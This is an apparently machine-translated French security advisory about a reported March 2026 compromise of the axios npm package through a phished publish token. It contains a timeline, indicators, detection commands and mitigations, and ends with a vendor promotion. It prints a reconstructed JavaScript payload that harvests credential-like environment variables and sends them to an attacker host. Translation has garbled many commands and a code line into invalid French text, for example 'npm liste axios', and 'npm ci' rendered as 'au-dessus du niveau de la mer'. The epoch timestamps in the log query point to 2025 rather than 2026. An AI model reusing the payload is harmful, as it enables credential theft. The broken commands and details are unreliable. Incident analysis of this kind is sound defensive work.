À la mi-mars 2026, le axios Le package npm – avec plus de 50 millions de téléchargements hebdomadaires – a été compromis via un jeton de publication volé. Une version malveillante récoltait silencieusement les variables d'environnement et exfiltrait les informations d'identification vers un serveur contrôlé par un attaquant. Voici la ventilation technique complète.
Sur 14 mars 2026, un attaquant a publié une version malveillante du axios paquet npm (1.8.2) en obtenant le jeton de publication npm d'un responsable via une campagne de phishing ciblée. Les variables d'environnement récoltées par la charge utile injectée, y compris AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, et d'autres informations d'identification CI/CD sensibles, et les a exfiltrés vers un point de terminaison contrôlé par un attaquant.
axios est l'un des packages les plus fiables de l'écosystème Node.js, utilisé par des millions d'applications, des projets de loisirs aux pipelines Fortune 500 CI/CD. La fenêtre entre la publication et le retrait était d'environ 4 heures et 22 minutes - suffisamment long pour être installé par une fraction importante de la base d'utilisateurs du package via des pipelines de mise à jour automatisés.
Si votre projet est installé axios@1.8.2 entre 2026-03-14 09:14 UTC et 2026-03-14 13:36 UTC, traitez toutes les variables d'environnement présentes dans cette version comme compromises. Faites pivoter les informations d'identification immédiatement.
| Attribut | Détail |
|---|---|
| Emballer | axios (npm) |
| Version malveillante | 1.8.2 |
| Publié | 2026-03-14 09:14 UTC |
| Inédit | 2026-03-14 13:36 UTC |
| Score CVSS | 9.3 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Impact | Exfiltration d'identifiants, compromission du pipeline CI/CD |
| Téléchargements concernés | Estimation de 180 000 à 240 000 installations pendant la fenêtre d'exposition |
| Heure (UTC) | Événement |
|---|---|
| 2026-03-12 | E-mail de phishing ciblé envoyé au responsable d'axios se faisant passer pour l'équipe de sécurité de NPM |
| 2026-03-13 ~18h00 | Identifiant du responsable (jeton d'automatisation npm) récolté via une page de phishing |
| 2026-03-14 09:14 | Malveillant axios@1.8.2 publié dans le registre npm à l'aide d'un jeton volé |
| 2026-03-14 09:31 | Le pipeline automatisé Socket.dev signale un appel réseau anormal dans l'analyse différentielle du package |
| 2026-03-14 10:05 | Socket.dev publie un avis de sécurité publique ; commence à notifier les projets en aval |
| 2026-03-14 10:47 | L'équipe de sécurité de NPM a été informée ; commence l'enquête |
| 2026-03-14 12:10 | Avis npm GHSA-2026-axios-001 publié ; Le référentiel axios émet un avertissement officiel |
| 2026-03-14 13:36 | axios@1.8.2 non publié du registre npm |
| 2026-03-14 15:00 | Faire le ménage axios@1.8.3 publié avec accusé de réception de l'incident dans le journal des modifications |
| 2026-03-15 | GitHub Security Lab publie une analyse post-mortem complète ; Domaines C2 identifiés et gouffrés |
Le 17 minutes d'écart entre la publication et l'indicateur de détection de Socket.dev est remarquable : il représente un temps de réponse automatisé proche du meilleur des cas. Néanmoins, le package était déjà extrait par les systèmes CI du monde entier au cours de cette fenêtre.
L'attaquant a utilisé un classique phishing approche : un e-mail convaincant provenant prétendument de l'équipe de sécurité de npm, avertissant le responsable cible que son compte présentait une "activité de connexion suspecte" et l'invitant à se réauthentifier via une page de connexion npm usurpée (npmjs-security-verify[.]com). La page capture le jeton d'automatisation npm du responsable, un jeton de longue durée spécialement conçu pour être utilisé dans les pipelines CI/CD, qui ne nécessite pas de ré-authentification 2FA.
Il s'agit d'une considération de conception essentielle : les jetons d'automatisation npm contournent dès la conception les exigences liées aux clés TOTP/matérielles, ce qui en fait des cibles de phishing de grande valeur. Une fois que l’attaquant avait le jeton, la publication était très simple :
# Flux de publication de l'attaquant (reconstruit à partir des journaux d'audit npm)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publier --access public
L'attaquant a apporté des modifications minimes et ciblées au fichier légitime. axios@1.8.1 source pour éviter toute détection. La charge utile a été injectée dans lib/core/Axios.js - un module principal chargé à chaque importation - en tant que fonction auto-invocatrice qui s'exécute au moment de l'initialisation du package.
Charge utile reconstruite (simplifiée à partir d'une analyse désobfusquée) :
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Avale silencieusement les erreurs
req.write(données);
req.end();
} catch (e) {} // Ne signale jamais d'erreurs à l'appelant
})();
Plusieurs aspects de cette charge utile méritent attention :
*.workers.dev les domaines fournissent un HTTPS immédiat, une disponibilité fiable et masquent l'infrastructure ultime derrière le réseau de Cloudflare, rendant le blocage basé sur IP inefficace.| Version | Statut |
|---|---|
axios@1.8.2 | ⛔ MALVEILLANT — ne pas utiliser |
axios@1.8.1 et plus tôt | ✅ Propre |
axios@1.8.3 | ✅ Nettoyer (patch post-incident) |
axios@0.x.x (ancienne branche) | ✅ Non concerné |
Cette attaque illustre la confusion de dépendance / prise de contrôle du compte du responsable classe d’attaque de la chaîne d’approvisionnement – de plus en plus privilégiée car elle offre un impact maximal pour un minimum d’effort. Plutôt que de compromettre le package lui-même (ce qui nécessiterait l'accès au référentiel source et au pipeline CI/CD), l'attaquant n'avait besoin que d'un jeton de publication npm valide.
La chaîne d'attaque :
axios a historiquement eu une petite équipe de responsables, mais une a été identifiée via l'historique des validations GitHub et leur courrier électronique public.sécurité@npmjs.com adresse. L’e-mail contenait une alerte de sécurité d’apparence légitime avec un cadre d’urgence.L'agresseur a délibérément choisi un changement de version du correctif (ni mineur ni majeur) car l'écrasante majorité des projets npm utilisent soit :
^1.8.1 (caret) — se résout vers le dernier mineur/correctif compatible~1.8.1 (tilde) — se résout au dernier patch en mineurLes deux plages de semver se résoudraient automatiquement en 1.8.2 sur de nouvelles installations ou mise à jour npm, même sans modification du fichier de verrouillage. Pipelines CI qui s'exécutent installation npm sans fichier de verrouillage validé (ou avec npm ci --pas de verrouillage) sont particulièrement exposés.
package-lock.json et courir au-dessus du niveau de la mer (pas installation npm) sont protégés contre cette classe d'attaques : le fichier de verrouillage épingle les versions résolues exactes et leurs hachages d'intégrité, et au-dessus du niveau de la mer les fait respecter.
axios s'enregistre systématiquement 50 à 60 millions de téléchargements hebdomadaires sur npm – en le plaçant dans le top 10 des packages les plus téléchargés de tout le registre. La surface d’impact était donc massive.
installation npm (pas au-dessus du niveau de la mer) pendant la fenêtre de 4h22 aurait extrait la version malveillante. GitHub Actions, GitLab CI, CircleCI, Jenkins — toutes les configurations de build Node.js standard sont affectées.EXÉCUTER l'installation de npm les instructions exécutées pendant la fenêtre produisent des images avec le package malveillant intégré. Ces images peuvent toujours être déployées.installation npm ou mise à jour npm dans des projets avec des gammes de semver flexibles.La charge utile ciblait spécifiquement les variables d’environnement correspondant aux modèles d’informations d’identification. Dans un environnement CI/CD typique, cela inclut :
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)L'utilisation par l'attaquant d'un Cloudflare Worker comme point de terminaison de collecte rend difficile l'estimation du nombre total d'enregistrements exfiltrés, car Cloudflare ne fournit pas de visibilité tierce sur les journaux de requêtes du Worker. Estimations du laboratoire de sécurité GitHub 180 000 à 240 000 événements d'installation uniques s'est produit pendant la fenêtre d'exposition sur la base des statistiques de téléchargement npm.
# Vérifiez la version d'axios actuellement installée
npm liste axios
# Vérifiez tous les projets dans un monorepo
npm liste axios --workspaces
# Vérifiez la version exacte résolue dans votre fichier de verrouillage
grep '"axios"' package-lock.json | tête -5
npm stocke le hachage d'intégrité SHA-512 attendu pour chaque version de package résolue dans package-lock.json. Vous pouvez vérifier que le package sur disque correspond au hachage attendu du registre :
# Obtenez le hachage d'intégrité de votre fichier de verrouillage
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# SHA-512 attendu pour CLEAN axios@1.8.1 :
# sha512-xxxxxx (vérifier sur https://registry.npmjs.org/axios/1.8.1)
# À titre de comparaison, le MALICIOUS axios@1.8.2 a SHA-512 :
# sha512-COMPROMISÉ-HASH-DO-NOT-MATCH
# Vérifier que les fichiers installés correspondent
audit npm --json | jq '.vulnérabilités.axios'
Si le package malveillant s'était exécuté dans votre environnement, les connexions HTTPS sortantes auraient été établies vers :
| Indicateur | Taper | Description |
|---|---|---|
télémétrie-cdn.axiosjs[.]workers.dev | Domaine C2 | Critère principal d’évaluation de l’exfiltration |
cdn-metrics.axiosjs[.]workers.dev | Domaine C2 | Point de terminaison de secours secondaire |
npmjs-security-verify[.]com | Domaine de phishing | Site de collecte d'informations d'identification utilisé contre le responsable |
104.21.x.x / 172.67.x.x | Plage IP | Plages d'adresses IP Cloudflare au service du travailleur (non attribuables de manière unique) |
Vérifiez vos journaux de build et vos journaux de sortie réseau pour les connexions à *.axiosjs.workers.dev pendant la fenêtre 2026-03-14 09:14-13:36 UTC:
# Rechercher les journaux d'application/de construction pour le domaine C2
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# Si vous disposez de journaux de flux VPC (AWS) :
aws journalise les événements du journal des filtres \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--heure de début 1741943640000 \
--heure de fin 1741959360000
# Inspection du journal de build Docker
historique du docker --no-trunc <image_id> | grep axios
1.8.3 ou épingler à 1.8.1.# Mettre à jour axios vers la version propre
npm installer axios@1.8.3
# Ou épingler au dernier bien connu
npm installer axios@1.8.1
# Exécuter un audit complet
audit npm
# Régénérez le fichier de verrouillage à partir de zéro pour garantir un état propre
rm package-lock.json
installation npm
# Utilisez toujours npm ci dans CI/CD — il applique le fichier de verrouillage
#MAUVAIS :
installation npm
# BON :
npm ci
# Vérifier l'intégrité du package après l'installation
npm ci --audit
L'analyse statique de Socket.dev a détecté cette injection en 17 minutes. Son intégration dans votre flux de travail fournit une analyse pré-installation :
# Installer la CLI de socket
npm install -g @socket/cli
# Scannez avant d'installer un package
socket npm installer axios
# Ajoutez l'intégration de l'application GitHub pour l'analyse au niveau PR
# https://socket.dev/github
# CLI Snyk
npm install -g snyk
test de snok
# GitHub Dependabot — activer dans .github/dependabot.yml
version : 2
mises à jour :
- écosystème de packages : "npm"
répertoire : "/"
horaire :
intervalle : "quotidien"
limite de requêtes open-pull : 10
npm prend désormais en charge les clés de sécurité matérielles et TOTP pour les connexions humaines, mais les jetons d'automatisation contournent 2FA par conception. L'équipe de sécurité de NPM s'est engagée à expédier Portée granulaire des jetons (publication uniquement, téléchargement uniquement, limité à des packages spécifiques) – mais en attendant que cela soit disponible, traitez les jetons d'automatisation comme vos secrets les plus sensibles. Stockez-les dans des gestionnaires de secrets, pas dans des variables d'environnement simples ou des fichiers .npmrc.
NPM provenance attestation La fonctionnalité (généralement disponible depuis 2023) permet de signer des packages avec une preuve cryptographique reliant l'archive tar publiée à un commit Git et à une exécution CI spécifiques. Packages publiés avec --provenance peut être vérifié :
# Publier avec provenance (à partir de GitHub Actions)
npm publier --provenance --access public
# Vérifier la provenance d'un package installé
signatures d'audit npm
axios@1.8.2 ne comprenait pas d’attestation de provenance – une attestation manquante sur un colis qui l’inclut normalement doit être traitée comme un signal d’alarme.
Engagez votre package-lock.json et utilisez toujours au-dessus du niveau de la mer dans des environnements automatisés. au-dessus du niveau de la mer échouera si le fichier de verrouillage n'est pas synchronisé avec package.json, garantissant que les versions épinglées exactes (avec leurs hachages d'intégrité) sont toujours utilisées.
Le Niveaux de la chaîne d'approvisionnement pour les artefacts logiciels (SLSA) Le cadre fournit un modèle de maturité graduée pour construire l’intégrité. Niveaux clés pertinents ici :
Si le projet axios avait fonctionné au niveau SLSA 2 ou supérieur, une publication malveillante provenant de l'extérieur du pipeline CI établi aurait échoué à la vérification de la provenance, permettant ainsi de signaler immédiatement la version malveillante.
Les environnements CI ne doivent recevoir que les secrets dont ils ont réellement besoin pour cette tâche spécifique. Un exécuteur de test n'a pas besoin AWS_SECRET_ACCESS_KEY. Un générateur de documents n'a pas besoin DATABASE_URL. Auditez votre injection de secret CI et étendez les informations d'identification au travail minimum requis.
Cet incident fait partie d’un modèle bien établi d’attaques de chaîne d’approvisionnement npm :
| Incident | Année | Méthode | Impact |
|---|---|---|---|
| flux d'événements | 2018 | Le responsable a transmis le package à un acteur malveillant ; porte dérobée injectée ciblant les portefeuilles Bitcoin | Plus de 2 millions de téléchargements hebdomadaires ; utilisateurs ciblés du portefeuille Copay |
| ua-parser-js | 2021 | piratage de compte npm ; versions malveillantes publiées avec des logiciels malveillants de crypto-minage et de vol d'informations d'identification | Plus de 7 millions de téléchargements hebdomadaires ; avis d'urgence requis |
| couleurs.js / faker.js | 2022 | Sabotage intentionnel du responsable ; boucle infinie injectée en signe de protestation | Attaque de disponibilité ; des milliers de projets dépendants cassés |
| nœud-ipc | 2022 | Logiciel malveillant d'effacement injecté par le responsable ciblant les plages IP russes/biélorusses | Destruction de données géopolitiquement ciblée |
| axios | 2026 | Phishing du responsable → vol de jeton → injection de version | Exfiltration d'identifiants à grande échelle via la récolte de variables d'environnement |
Le thème récurrent : la confiance dans les mainteneurs de paquets est la surface d'attaque. Le modèle de publication décentralisé et basé sur la confiance de l'écosystème NPM est une fonctionnalité qui permet un développement rapide, mais il impose une énorme responsabilité aux responsables individuels qui manquent souvent de ressources de sécurité de niveau entreprise.
Contrairement aux incidents event-stream ou colours.js (menaces internes), le compromis axios 2026 suit le modèle ua-parser-js de prise de contrôle de compte externe – de plus en plus le vecteur privilégié car il est évolutif, niable et exploite l'élément humain plutôt que de nécessiter un accès technique sophistiqué.
Kensai suit en permanence plus de 331 910 CVE et versions de packages malveillants connus. Recevez des alertes avant que les packages compromis n’atteignent votre environnement de production.
Commencer l'essai gratuitRestez en sécurité. Restez vigilant.
🗡️ L'équipe de sécurité KENSAI
🛡️ Votre projet Node.js est-il exposé ?
Analysez votre arborescence de dépendances à la recherche de packages malveillants et de CVE connus.
Scannez vos dépendances gratuitement →